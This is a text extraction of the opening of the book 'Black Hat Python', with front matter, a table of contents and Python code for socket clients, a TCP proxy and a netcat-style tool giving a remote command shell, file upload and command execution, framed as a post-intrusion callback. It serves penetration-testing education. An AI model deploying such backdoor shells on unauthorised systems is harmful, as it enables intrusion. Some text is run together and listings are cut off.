[Audio] Black Hat python Python Programming for Hackers and Pentesters Justin Seitz Foreword by Charlie Miller.
[Audio] BlackHatPytHon. Black Hat PytHon.
[Audio] BlackHatPytHonPythonProgrammingforHackersandPentestersbyJustinSeitzSanFrancisco.
[Audio] Black Hat PytHon. Copyright © 2015 by Justin Seitz. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior written permission of the copyright owner and the publisher. Printed in USA First printing 18 17 16 15 14 1 2 3 4 5 6 7 8 9 ISBN-10: 1-59327-590-0 ISBN-13: 978-1-59327-590-7 Publisher: William Pollock Production Editor: Serena Yang Cover Illustration: Garry Booth Interior Design: Octopod Studios Developmental Editor: Tyler Ortman Technical Reviewers: Dan Frisch and Cliff Janzen Copyeditor: Gillian McGarvey Compositor: Lynn L'Heureux Proofreader: James Fraleigh Indexer: BIM Indexing and Proofreading Services For information on distribution, translations, or bulk sales, please contact No Starch Press, Inc. directly: No Starch Press, Inc. 245 8th Street, San Francisco, CA 94103 phone: 415.863.9900; info@nostarch.com www.nostarch.com Library of Congress Control Number: 2014953241 No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark symbol with every occurrence of a trademarked name, we are using the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. The information in this book is distributed on an "As Is" basis, without warranty. While every precaution has been taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in it..
[Audio] To Pat Although we never met, I am forever grateful for every member of your wonderful family you gave me. Canadian Cancer Society www.cancer.ca.
[Audio] abouttheauthorJustinSeitzisaseniorsecurityresearcherforImmunity,Inc.,wherehespendshistimebughunting,reverseengineering,writingexploits,andcodingPython.HeistheauthorofGrayHatPython,thefirstbooktocoverPythonforsecurityanalysis.aboutthetechnicalReviewersDanFrischhasovertenyearsofexperienceininformationsecurity.Currently,heisaseniorsecurityanalystinaCanadianlawenforcementagency.Priortothatrole,heworkedasaconsultantprovidingsecurityassessmentstofinancialandtechnologyfirmsinNorthAmerica.Becauseheisobsessedwithtechnologyandholdsa3rddegreeblackbelt,youcanassume(correctly)thathisentirelifeisbasedaroundTheMatrix. SincetheearlydaysofCommodorePETandVIC-20,technologyhasbeenaconstantcompanion(andsometimesanobsession!)toCliffJanzen.Cliffdiscoveredhiscareerpassionwhenhemovedtoinformationsecurityin2008afteradecadeofIToperations.ForthepastfewyearsCliffhasbeenhappilyemployedasasecurityconsultant,doingeverythingfrompolicyreviewtopenetrationtests,andhefeelsluckytohaveacareerthatisalsohisfavoritehobby..
[Audio] BriefcontentsForewordbyCharlieMiller..............................................xvPreface............................................................xviiAcknowledgments....................................................xixChapter1:SettingUpYourPythonEnvironment.................................1 Chapter2:TheNetwork:Basics...........................................9 Chapter3:TheNetwork:RawSocketsandSniffing.............................35 Chapter4:OwningtheNetworkwithScapy..................................47 Chapter5:WebHackery...............................................61 Chapter6:ExtendingBurpProxy..........................................75 Chapter7:GitHubCommandandControl..................................101 Chapter8:CommonTrojaningTasksonWindows.............................111 Chapter9:FunwithInternetExplorer......................................123 Chapter10:WindowsPrivilegeEscalation..................................137 Chapter11:AutomatingOffensiveForensics.................................151 Index............................................................163.
[Audio] contentsinDetailFoRewoRdbycharlieMillerxvPReFacexviiacknowledgMentsxix1settingUPyoURPytHonenviRonMent1 InstallingKaliLinux..................................................2 WingIDE.........................................................3 2tHenetwoRk:Basics9 PythonNetworkinginaParagraph.....................................10 TCPClient.......................................................10 UDPClient......................................................11 TCPServer......................................................12 ReplacingNetcat..................................................13 KickingtheTires...........................................19 BuildingaTCPProxy...............................................20 KickingtheTires...........................................25 SSHwithParamiko.................................................26 KickingtheTires...........................................29 SSHTunneling....................................................30 KickingtheTires...........................................33 3tHenetwoRk:RawsocketsandsniFFing35 BuildingaUDPHostDiscoveryTool.....................................36 PacketSniffingonWindowsandLinux...................................36 KickingtheTires...........................................38 DecodingtheIPLayer...............................................38 KickingtheTires...........................................41 DecodingICMP...................................................42 KickingtheTires...........................................45.
[Audio] 4 owning tHe netwoRk witH scaPy 47 Stealing Email Credentials . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 Kicking the Tires . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 ARP Cache Poisoning with Scapy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 Kicking the Tires . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 PCAP Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 Kicking the Tires . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 5 weB HackeRy 61 The Socket Library of the Web: urllib2 . . . . . . . . . . . . ..
[Audio] 9 FUn witH inteRnet exPloReR 123 Man-in-the-Browser (Kind Of) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 Creating the Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127 Kicking the Tires . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 IE COM Automation for Exfiltration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 Kicking the Tires . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134 10 windows PRivilege escalation 137 Installing the Prerequisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 138 Creating a Process Monitor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..
[Audio] foreworDPythonisstillthedominantlanguageintheworldofinformationsecurity,eveniftheconversationaboutyourlanguageofchoicesometimeslooksmorelikeareligiouswar.Python-basedtoolsincludeallmanneroffuzzers,proxies,andeventheoccasionalexploit.ExploitframeworkslikeCANVASarewritteninPythonasaremoreobscuretoolslikePyEmuorSulley.JustabouteveryfuzzerorexploitIhavewrittenhasbeeninPython.Infact,theautomotivehackingresearchthatChrisValasekandIrecentlyperformedcontainedalibrarytoinjectCANmessagesontoyourautomotivenetworkusingPython! Ifyouareinterestedintinkeringwithinformationsecuritytasks,Pythonisagreatlanguagetolearnbecauseofthelargenumberofreverseengineeringandexploitationlibrariesavailableforyouruse.NowifonlytheMetasploitdeveloperswouldcometotheirsensesandswitchfromRubytoPython,ourcommunitywouldbeunited..
[Audio] In this new book, Justin covers a large range of topics that an enterprising young hacker would need to get off the ground. He includes walkthroughs of how to read and write network packets, how to sniff the network, as well as anything you might need for web application auditing and attacking. He then spends significant time diving into how to write code to address specifics with attacking Windows systems. In general, Black Hat Python is a fun read, and while it might not turn you into a super stunt hacker like myself, it can certainly get you started down the path. Remember, the difference between script kiddies and professionals is the difference between merely using other people's tools and writing your own. Charlie Miller St. Louis, Missouri September 2014 xvi Foreword.
[Audio] Pr e face Python hacker. Those are two words you really could use to describe me. At Immunity, I am lucky enough to work with people who actually, really, know how to code Python. I am not one of those people. I spend a great deal of my time penetration testing, and that requires rapid Python tool development, with a focus on execution and delivering results (not necessarily on prettiness, optimization, or even stability). Throughout this book you will learn that this is how I code, but I also feel as though it is part of what makes me a strong pentester. I hope that this philosophy and style helps you as well. As you progress through the book, you will also realize that I don't take deep dives on any single topic. This is by design. I want to give you the bare minimum, with a little flavor, so that you have some foundational knowledge. With that in mind, I've sprinkled ideas and homework assignments throughout the book to kickstart you in your own direction. I encourage you to explore these ideas, and I would love to hear back any of your own implementations, tooling, or homework assignments that you have done..
[Audio] As with any technical book, readers at different skill levels with Python (or information security in general) will experience this book differently. Some of you may simply grab it and nab chapters that are pertinent to a consulting gig you are on, while others may read it cover to cover. I would recommend that if you are a novice to intermediate Python programmer that you start at the beginning of the book and read it straight through in order. You will pick up some good building blocks along the way. To start, I lay down some networking fundamentals in Chapter 2 and slowly work our way through raw sockets in Chapter 3 and using Scapy in Chapter 4 for some more interesting network tooling. The next section of the book deals with hacking web applications, starting with your own custom tooling in Chapter 5 and then extending the popular Burp Suite in Chapter 6. From there we will spend a great deal of time talking about trojans, starting with GitHub command and control in Chapter 7, all the way through Chapter 10 where we will cover some Windows privilege escalation tricks. The final chapter is about using Volatility for automating some offensive memory forensics techniques. I try to keep the code samples short and to the point, and the same goes for the explanations. If you are relatively new to Python I encourage you to punch out every line to get that coding muscle memory going. All of the source code examples from this book are available at http://nostarch.com/ blackhatpython/. Here we go! xviii Preface.
[Audio] ack now l e Dg m e n t s I would like to thank my family—my beautiful wife, Clare, and my five children, Emily, Carter, Cohen, Brady, and Mason—for all of the encouragement and tolerance while I spent a year and a half of my life writing this book. My brothers, sister, Mom, Dad, and Paulette have also given me a lot of motivation to keep pushing through no matter what. I love you all. To all my folks at Immunity (I would list each of you here if I had the room): thanks for tolerating me on a day-to-day basis. You are truly an amazing crew to work with. To the team at No Starch—Tyler, Bill, Serena, and Leigh—thanks so much for all of the hard work you put into this book and the rest in your collection. We all appreciate it. I would also like to thank my technical reviewers, Dan Frisch and Cliff Janzen. These guys typed out and critiqued every single line of code, wrote supporting code, made edits, and provided absolutely amazing support throughout the whole process. Anyone who is writing an infosec book should really get these guys on board; they were amazing and then some. For the rest of you ruffians that share drinks, laughs and GChats: thanks for letting me piss and moan to you about writing this book..
[Audio] 1settingUPyoUrPytHonenvironmentThisistheleastfun—butneverthelesscritical—partofthebook,wherewewalkthroughsettingupanenvironmentinwhichtowriteandtestPython.WearegoingtodoacrashcourseinsettingupaKaliLinuxvirtualmachine(VM)andinstallinganiceIDEsothatyouhaveeverythingyouneedtodevelopcode.Bytheendofthischapter,youshouldbereadytotackletheexercisesandcodeexamplesintheremainderofthebook.Beforeyougetstarted,goaheadanddownloadandinstallVMWarePlayer.1IalsorecommendthatyouhavesomeWindowsVMsatthereadyaswell,includingWindowsXPandWindows7,preferably32-bitinbothcases.1.YoucandownloadVMWarePlayerfromhttp://www.vmware.com/..
[Audio] installing kali linux Kali is the successor to the BackTrack Linux distribution, designed by Offensive Security from the ground up as a penetration testing operating system. It comes with a number of tools preinstalled and is based on Debian Linux, so you'll also be able to install a wide variety of additional tools and libraries beyond what's on the OS to start. First, grab a Kali VM image from the following URL: http://images .offensive-security.com/kali-linux-1.0.9-vm-i486.7z.2 Download and decompress the image, and then double-click it to make VMWare Player fire it up. The default username is root and the password is toor. This should get you into the full Kali desktop environment as shown in Figure 1-1. Figure 1-1: The Kali Linux desktop The first thing we are going to do is ensure that the correct version of Python is installed. This book will use Python 2.7 throughout. In the shell (ApplicationsAccessoriesTerminal), execute the following: root@kali:~# python --version Python 2.7.3 root@kali:~# 2. For a "clickable" list of the links in this chapter, visit http://nostarch.com/blackhatpython/. 2 Chapter 1.
[Audio] If you downloaded the exact image that I recommended above, Python 2.7 will be automatically installed. Please note that using a different version of Python might break some of the code examples in this book. You have been warned. Now let's add some useful pieces of Python package management in the form of easy_install and pip. These are much like the apt package manager because they allow you to directly install Python libraries, without having to manually download, unpack, and install them. Let's install both of these package managers by issuing the following commands: root@kali:~#: apt-get install python-setuptools python-pip When the packages are installed, we can do a quick test and install the module that we'll use in Chapter 7 to build a GitHub-based trojan. Enter the following into your terminal: root@kali:~#: pip install github3.py You should see output in your terminal indicating that the library is being downloaded and installed. Then drop into a Python shell and validate that it was installed correctly: root@kali:~#: python Python 2.7.3 (default, Mar 14 2014, 11:57:14) [GCC 4.7.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import github3 >>> exit() If your results are not identical to these, then there is a "misconfiguration" in your Python environment and you have brought great shame to our Python dojo! In this case, make sure that you followed all the steps above and that you have the correct version of Kali. Keep in mind that for most examples throughout this book, you can develop your code in a variety of environments, including Mac, Linux, and Windows. There are some chapters that are Windows-specific, and I'll make sure to let you know at the beginning of the chapter. Now that we have our hacking virtual machine set up, let's install a Python IDE for development. wingide While I typically don't advocate commercial software products, WingIDE is the best IDE that I've used in the past seven years at Immunity. WingIDE provides all the basic IDE functionality like auto-completion and explanation of function parameters, but its debugging capabilities are what set it Setting Up Your Python Environment 3.
[Audio] apart from other IDEs. I will give you a quick rundown of the commercial version of WingIDE, but of course you should choose whichever version is best for you.3 You can grab WingIDE from http://www.wingware.com/, and I recommend that you install the trial so that you can experience firsthand some of the features available in the commercial version. You can do your development on any platform you wish, but it might be best to install WingIDE on your Kali VM at least to get started. If you've followed along with my instructions so far, make sure that you download the 32-bit .deb package for WingIDE, and save it to your user directory. Then drop into a terminal and run the following: root@kali:~# dpkg -i wingide5_5.0.9-1_i386.deb This should install WingIDE as planned. If you get any installation errors, there might be unmet dependencies. In this case, simply run: root@kali:~# apt-get -f install This should fix any missing dependencies and install WingIDE. To verify that you've installed it properly, make sure you can access it as shown in Figure 1-2. Figure 1-2: Accessing WingIDE from the Kali desktop 3. For a comparison of features among versions, visit https://wingware.com/wingide/features/. 4 Chapter 1.
[Audio] Fire up WingIDE and open a new, blank Python file. Then follow along as I give you a quick rundown of some useful features. For starters, your screen should look like Figure 1-3, with your main code editing area in the top left and a set of tabs on the bottom. Figure 1-3: Main WingIDE window layout Let's write some simple code to illustrate some of the useful functions of WingIDE, including the Debug Probe and Stack Data tabs. Punch the following code into the editor: def sum(number_one,number_two): number_one_int = convert_integer(number_one) number_two_int = convert_integer(number_two) result = number_one_int + number_two_int return result def convert_integer(number_string): converted_integer = int(number_string) return converted_integer answer = sum("1","2") Setting Up Your Python Environment 5.
[Audio] This is a very contrived example, but it is an excellent demonstration of how to make your life easy with WingIDE. Save it with any filename you want, click the Debug menu item, and select the Select Current as Main Debug File option, as shown in Figure 1-4. Figure 1-4: Setting the current Python script for debugging Now set a breakpoint on the line of code that says: return converted_integer You can do this by clicking in the left margin or by hitting the F9 key. You should see a little red dot appear in the margin. Now run the script by pressing F5, and execution should halt at your breakpoint. Click the Stack Data tab and you should see a screen like the one in Figure 1-5. The Stack Data tab is going to show us some useful information such as the state of any local and global variables at the moment that our breakpoint was hit. This allows you to debug more advanced code where you need to inspect variables during execution to track down bugs. If you click the drop-down bar, you can also see the current call stack, which tells you which function called the function you are currently inside. Have a look at Figure 1-6 to see the stack trace. 6 Chapter 1.
[Audio] Figure 1-5: Viewing stack data after a breakpoint hit Figure 1-6: Viewing the current stack trace Setting Up Your Python Environment 7.
[Audio] We can see that convert_integer was called from the sum function on line 3 of our Python script. This becomes very useful if you have recursive function calls or a function that is called from many potential places. Using the Stack Data tab will come in very handy in your Python developing career! The next major feature is the Debug Probe tab. This tab enables you to drop into a Python shell that is executing within the current context of the exact moment your breakpoint was hit. This lets you inspect and modify variables, as well as write little snippets of test code to try out new ideas or to troubleshoot. Figure 1-7 demonstrates how to inspect the converted_integer variable and change its value. Figure 1-7: Using Debug Probe to inspect and modify local variables After you make some modifications, you can resume execution of the script by pressing F5. Even though this is a very simple example, it demonstrates some of the most useful features of WingIDE for developing and debugging Python scripts.4 That's all we need in order to begin developing code for the rest of this book. Don't forget about making virtual machines ready as target machines for the Windows-specific chapters, but of course using native hardware should not present any issues. Now let's get into some actual fun! 4. If you already use an IDE that has comparable features to WingIDE, please send me an email or a tweet because I would love to hear about it! 8 Chapter 1.
[Audio] 2 t H e n e t wor k: B a sic s The network is and always will be the sexiest arena for a hacker. An attacker can do almost anything with simple network access, such as scan for hosts, inject packets, sniff data, remotely exploit hosts, and much more. But if you are an attacker who has worked your way into the deepest depths of an enterprise target, you may find yourself in a bit of a conundrum: you have no tools to execute network attacks. No netcat. No Wireshark. No compiler and no means to install one. However, you might be surprised to find that in many cases, you'll find a Python install, and so that is where we will begin. This chapter will give you some basics on Python networking using the socket1 module. Along the way, we'll build clients, servers, and a TCP proxy; and then turn them into our very own netcat, complete with command shell. 1. The full socket documentation can be found here: http://docs.python.org/2/library/socket.html..
[Audio] This chapter is the foundation for subsequent chapters in which we will build a host discovery tool, implement cross-platform sniffers, and create a remote trojan framework. Let's get started. Python networking in a Paragraph Programmers have a number of third-party tools to create networked servers and clients in Python, but the core module for all of those tools is socket. This module exposes all of the necessary pieces to quickly write TCP and UDP clients and servers, use raw sockets, and so forth. For the purposes of breaking in or maintaining access to target machines, this module is all you really need. Let's start by creating some simple clients and servers, the two most common quick network scripts you'll write. tcP client There have been countless times during penetration tests that I've needed to whip up a TCP client to test for services, send garbage data, fuzz, or any number of other tasks. If you are working within the confines of large enterprise environments, you won't have the luxury of networking tools or compilers, and sometimes you'll even be missing the absolute basics like the ability to copy/paste or an Internet connection. This is where being able to quickly create a TCP client comes in extremely handy. But enough jabbering—let's get coding. Here is a simple TCP client. import socket target_host = "www.google.com" target_port = 80 # create a socket object u client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect the client v client.connect((target_host,target_port)) # send some data w client.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") # receive some data x response = client.recv(4096) print response We first create a socket object with the AF_INET and SOCK_STREAM parameters u. The AF_INET parameter is saying we are going to use a standard IPv4 address or hostname, and SOCK_STREAM indicates that this will be a TCP 10 Chapter 2.
[Audio] client. We then connect the client to the server v and send it some data w. The last step is to receive some data back and print out the response x. This is the simplest form of a TCP client, but the one you will write most often. In the above code snippet, we are making some serious assumptions about sockets that you definitely want to be aware of. The first assumption is that our connection will always succeed, and the second is that the server is always expecting us to send data first (as opposed to servers that expect to send data to you first and await your response). Our third assumption is that the server will always send us data back in a timely fashion. We make these assumptions largely for simplicity's sake. While programmers have varied opinions about how to deal with blocking sockets, exceptionhandling in sockets, and the like, it's quite rare for pentesters to build these niceties into the quick-and-dirty tools for recon or exploitation work, so we'll omit them in this chapter. UdP client A Python UDP client is not much different than a TCP client; we need to make only two small changes to get it to send packets in UDP form. import socket target_host = "127.0.0.1" target_port = 80 # create a socket object u client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # send some data v client.sendto("AAABBBCCC",(target_host,target_port)) # receive some data w data, addr = client.recvfrom(4096) print data As you can see, we change the socket type to SOCK_DGRAM u when creating the socket object. The next step is to simply call sendto() v, passing in the data and the server you want to send the data to. Because UDP is a connectionless protocol, there is no call to connect() beforehand. The last step is to call recvfrom() w to receive UDP data back. You will also notice that it returns both the data and the details of the remote host and port. Again, we're not looking to be superior network programmers; we want to be quick, easy, and reliable enough to handle our day-to-day hacking tasks. Let's move on to creating some simple servers. The Network: Basics 11.
[Audio] tcP server Creating TCP servers in Python is just as easy as creating a client. You might want to use your own TCP server when writing command shells or crafting a proxy (both of which we'll do later). Let's start by creating a standard multi-threaded TCP server. Crank out the code below: import socket import threading bind_ip = "0.0.0.0" bind_port = 9999 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) u server.bind((bind_ip,bind_port)) v server.listen(5) print "[*] Listening on %s:%d" % (bind_ip,bind_port) # this is our client-handling thread w def handle_client(client_socket): # print out what the client sends request = client_socket.recv(1024) print "[*] Received: %s" % request # send back a packet client_socket.send("ACK!") client_socket.close() while True: x client,addr = server.accept() print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1]) # spin up our client thread to handle incoming data client_handler = threading.Thread(target=handle_client,args=(client,)) y client_handler.start() To start off, we pass in the IP address and port we want the server to listen on u. Next we tell the server to start listening v with a maximum backlog of connections set to 5. We then put the server into its main loop, where it is waiting for an incoming connection. When a client connects x, we receive the client socket into the client variable, and the remote connection details into the addr variable. We then create a new thread object that 12 Chapter 2.
[Audio] points to our handle_client function, and we pass it the client socket object as an argument. We then start the thread to handle the client connection y, and our main server loop is ready to handle another incoming connection. The handle_client w function performs the recv() and then sends a simple message back to the client. If you use the TCP client that we built earlier, you can send some test packets to the server and you should see output like the following: [*] Listening on 0.0.0.0:9999 [*] Accepted connection from: 127.0.0.1:62512 [*] Received: ABCDEF That's it! Pretty simple, but this is a very useful piece of code which we will extend in the next couple of sections when we build a netcat replacement and a TCP proxy. Replacing netcat Netcat is the utility knife of networking, so it's no surprise that shrewd systems administrators remove it from their systems. On more than one occasion, I've run into servers that do not have netcat installed but do have Python. In these cases, it's useful to create a simple network client and server that you can use to push files, or to have a listener that gives you command-line access. If you've broken in through a web application, it is definitely worth dropping a Python callback to give you secondary access without having to first burn one of your trojans or backdoors. Creating a tool like this is also a great Python exercise, so let's get started. import sys import socket import getopt import threading import subprocess # define some global variables listen = False command = False upload = False execute = "" target = "" upload_destination = "" port = 0 Here, we are just importing all of our necessary libraries and setting some global variables. No heavy lifting quite yet. The Network: Basics 13.
[Audio] Now let's create our main function responsible for handling commandline arguments and calling the rest of our functions. u def usage(): print "BHP Net Tool" print print "Usage: bhpnet.py -t target_host -p port" print "-l --listen - listen on [host]:[port] for ¬ incoming connections" print "-e --execute=file_to_run - execute the given file upon ¬ receiving a connection" print "-c --command - initialize a command shell" print "-u --upload=destination - upon receiving connection upload a ¬ file and write to [destination]" print print print "Examples: " print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"" print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135" sys.exit(0) def main(): global listen global port global execute global command global upload_destination global target if not len(sys.argv[1:]): usage() # read the commandline options v try: opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ¬ ["help","listen","execute","target","port","command","upload"]) except getopt.GetoptError as err:.
[Audio] elif o in ("-t", "--target"): target = a elif o in ("-p", "--port"): port = int(a) else: assert False,"Unhandled Option" # are we going to listen or just send data from stdin? w if not listen and len(target) and port > 0: # read in the buffer from the commandline # this will block, so send CTRL-D if not sending input # to stdin buffer = sys.stdin.read() # send data off client_sender(buffer) # we are going to listen and potentially # upload things, execute commands, and drop a shell back # depending on our command line options above if listen: x server_loop() main() We begin by reading in all of the command-line options v and setting the necessary variables depending on the options we detect. If any of the command-line parameters don't match our criteria, we print out useful usage information u. In the next block of code w, we are trying to mimic netcat to read data from stdin and send it across the network. As noted, if you plan on sending data interactively, you need to send a ctrl-D to bypass the stdin read. The final piece x is where we detect that we are to set up a listening socket and process further commands (upload a file, execute a command, start a command shell). Now let's start putting in the plumbing for some of these features, starting with our client code. Add the following code above our main function. def client_sender(buffer):.
[Audio] while True: # now wait for data back recv_len = 1 response = "" v while recv_len: data = client.recv(4096) recv_len = len(data) response+= data if recv_len < 4096: break print response, # wait for more input w buffer = raw_input("") buffer += "\n".
[Audio] server.listen(5) while True: client_socket, addr = server.accept() # spin off a thread to handle our new client client_thread = threading.Thread(target=client_handler, ¬ args=(client_socket,)) client_thread.start() def run_command(command): # trim the newline command = command.rstrip() # run the command and get the output back try: u output = subprocess.check_output(command,stderr=subprocess. ¬ STDOUT, shell=True) except: output = "Failed to execute command.\r\n" # send the output back to the client return output By now, you're an old hand at creating TCP servers complete with threading, so I won't dive in to the server_loop function. The run_command function, however, contains a new library we haven't covered yet: the subprocess library. subprocess provides a powerful process-creation interface that gives you a number of ways to start and interact with client programs. In this case u, we're simply running whatever command we pass in, running it on the local operating system, and returning the output from the command back to the client that is connected to us. The exceptionhandling code will catch generic errors and return back a message letting you know that the command failed. Now let's implement the logic to do file uploads, command execution, and our shell. def client_handler(client_socket): global upload global execute global command # check for upload u if len(upload_destination): # read in all of the bytes and write to our destination file_buffer = "".
[Audio] v while True: data = client_socket.recv(1024) if not data: break else: file_buffer += data # now we take these bytes and try to write them out w try: file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer) file_descriptor.close() # acknowledge that we wrote the file out client_socket.send("Successfully saved file to ¬ %s\r\n" % upload_destination) except: client_socket.send("Failed to save file to %s\r\n" % ¬ upload_destination).
[Audio] be useful for upload-and-execute exercises or for installing malware and having the malware remove our Python callback. First we receive the file data in a loop v to make sure we receive it all, and then we simply open a file handle and write out the contents of the file. The wb flag ensures that we are writing the file with binary mode enabled, which ensures that uploading and writing a binary executable will be successful. Next we process our execute functionality w, which calls our previously written run_command function and simply sends the result back across the network. Our last bit of code handles our command shell x; it continues to execute commands as we send them in and sends back the output. You'll notice that it is scanning for a newline character to determine when to process a command, which makes it netcat-friendly. However, if you are conjuring up a Python client to speak to it, remember to add the newline character. Kicking the Tires Now let's play around with it a bit to see some output. In one terminal or cmd.exe shell, run our script like so: justin$ ./bhnet.py -l -p 9999 -c Now you can fire up another terminal or cmd.exe, and run our script in client mode. Remember that our script is reading from stdin and will do so until the EOF (end-of-file) marker is received. To send EOF, hit ctrl-D on your keyboard: justin$ ./bhnet.py -t localhost -p 9999 ls -la total 32 drwxr-xr-x 4 justin staff 136 18 Dec 19:45 . drwxr-xr-x 4 justin staff 136 9 Dec 18:09 .. -rwxrwxrwt 1 justin staff 8498 19 Dec 06:38 bhnet.py -rw-r--r-- 1 justin staff 844 10 Dec 09:34 listing-1-3.py pwd /Users/justin/svn/BHP/code/Chapter2 You can see that we receive back our custom command shell, and because we're on a Unix host, we can run some local commands and receive back some output as if we had logged in via SSH or were on the box locally. We can also use our client to send out requests the good, oldfashioned way: justin$ echo -ne "GET / HTTP/1.1\r\nHost: www.google.com\r\n\r\n" | ./bhnet. ¬ py -t www.google.com -p 80 HTTP/1.1 302 Found Location: http://www.google.ca/ Cache-Control: private Content-Type: text/html; charset=UTF-8 The Network: Basics 19.
[Audio] P3P: CP="This is not a P3P policy! See http://www.google.com/support/ ¬ accounts/bin/answer.py?hl=en&answer=151657 for more info." Date: Wed, 19 Dec 2012 13:22:55 GMT Server: gws Content-Length: 218 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN 302 Moved 302 Moved The document has moved here. [*] Exception! Exiting. justin$ There you go! It's not a super technical technique, but it's a good foundation on how to hack together some client and server sockets in Python and use them for evil. Of course, it's the fundamentals that you need most: use your imagination to expand or improve it. Next, let's build a TCP proxy, which is useful in any number of offensive scenarios. Building a tcP Proxy There are a number of reasons to have a TCP proxy in your tool belt, both for forwarding traffic to bounce from host to host, but also when assessing network-based software. When performing penetration tests in enterprise environments, you'll commonly be faced with the fact that you can't run Wireshark, that you can't load drivers to sniff the loopback on Windows, or that network segmentation prevents you from running your tools directly against your target host. I have employed a simple Python proxy in a number of cases to help understand unknown protocols, modify traffic being sent to an application, and create test cases for fuzzers. Let's get to it. import sys import socket import threading def server_loop(local_host,local_port,remote_host,remote_port,receive_first): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: server.bind((local_host,local_port)) except: print "[!!] Failed to listen on %s:%d" % (local_host,local_ ¬ port) print "[!!] Check for other listening sockets or correct ¬ permissions." sys.exit(0) 20 Chapter 2.
[Audio] print "[*] Listening on %s:%d" % (local_host,local_port) server.listen(5) while True: client_socket, addr = server.accept() # print out the local connection information print "[==>] Received incoming connection from %s:%d" % ¬ (addr[0],addr[1]) # start a thread to talk to the remote host proxy_thread = threading.Thread(target=proxy_handler, ¬ args=(client_socket,remote_host,remote_port,receive_first)) proxy_thread.start() def main(): # no fancy command-line parsing here if len(sys.argv[1:]) != 5: print "Usage: ./proxy.py [localhost] [localport] [remotehost] ¬ [remoteport] [receive_first]" print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True" sys.exit(0) # setup local listening parameters local_host = sys.argv[1] local_port = int(sys.argv[2]) # setup remote target remote_host = sys.argv[3] remote_port = int(sys.argv[4]) # this tells our proxy to connect and receive data # before sending to the remote host receive_first = sys.argv[5] if "True" in receive_first: receive_first = True else: receive_first = False # now spin up our listening socket server_loop(local_host,local_port,remote_host,remote_port,receive_first) main() Most of this should look familiar: we take in some command-line arguments and then fire up a server loop that listens for connections. When The Network: Basics 21.
[Audio] a fresh connection request comes in, we hand it off to our proxy_handler, which does all of the sending and receiving of juicy bits to either side of the data stream. Let's dive into the proxy_handler function now by adding the following code above our main function. def proxy_handler(client_socket, remote_host, remote_port, receive_first): # connect to the remote host remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote_socket.connect((remote_host,remote_port)) # receive data from the remote end if necessary u if receive_first: v remote_buffer = receive_from(remote_socket) w hexdump(remote_buffer) # send it to our response handler x remote_buffer = response_handler(remote_buffer) # if we have data to send to our local client, send it if len(remote_buffer): print "[<==] Sending %d bytes to localhost." % ¬ len(remote_buffer) client_socket.send(remote_buffer) # now lets loop and read from local, # send to remote, send to local # rinse, wash, repeat while True: # read from local host local_buffer = receive_from(client_socket) if len(local_buffer): print "[==>] Received %d bytes from localhost." % len(local_ ¬ buffer) hexdump(local_buffer) # send it to our request handler local_buffer = request_handler(local_buffer) # send off the data to the remote host remote_socket.send(local_buffer) print "[==>] Sent to remote." 22 Chapter 2.
[Audio] # receive back the response remote_buffer = receive_from(remote_socket) if len(remote_buffer): print "[<==] Received %d bytes from remote." % len(remote_buffer) hexdump(remote_buffer) # send to our response handler remote_buffer = response_handler(remote_buffer) # send the response to the local socket client_socket.send(remote_buffer) print "[<==] Sent to localhost." # if no more data on either side, close the connections y if not len(local_buffer) or not len(remote_buffer): client_socket.close() remote_socket.close() print "[*] No more data. Closing connections." break This function contains the bulk of the logic for our proxy. To start off, we check to make sure we don't need to first initiate a connection to the remote side and request data before going into our main loop u. Some server daemons will expect you to do this first (FTP servers typically send a banner first, for example). We then use our receive_from function v, which we reuse for both sides of the communication; it simply takes in a connected socket object and performs a receive. We then dump the contents w of the packet so that we can inspect it for anything interesting. Next we hand the output to our response_handler function x. Inside this function, you can modify the packet contents, perform fuzzing tasks, test for authentication issues, or whatever else your heart desires. There is a complimentary request_handler function that does the same for modifying outbound traffic as well. The final step is to send the received buffer to our local client. The rest of the proxy code is straightforward: we continually read from local, process, send to remote, read from remote, process, and send to local until there is no more data detected y. Let's put together the rest of our functions to complete our proxy. # 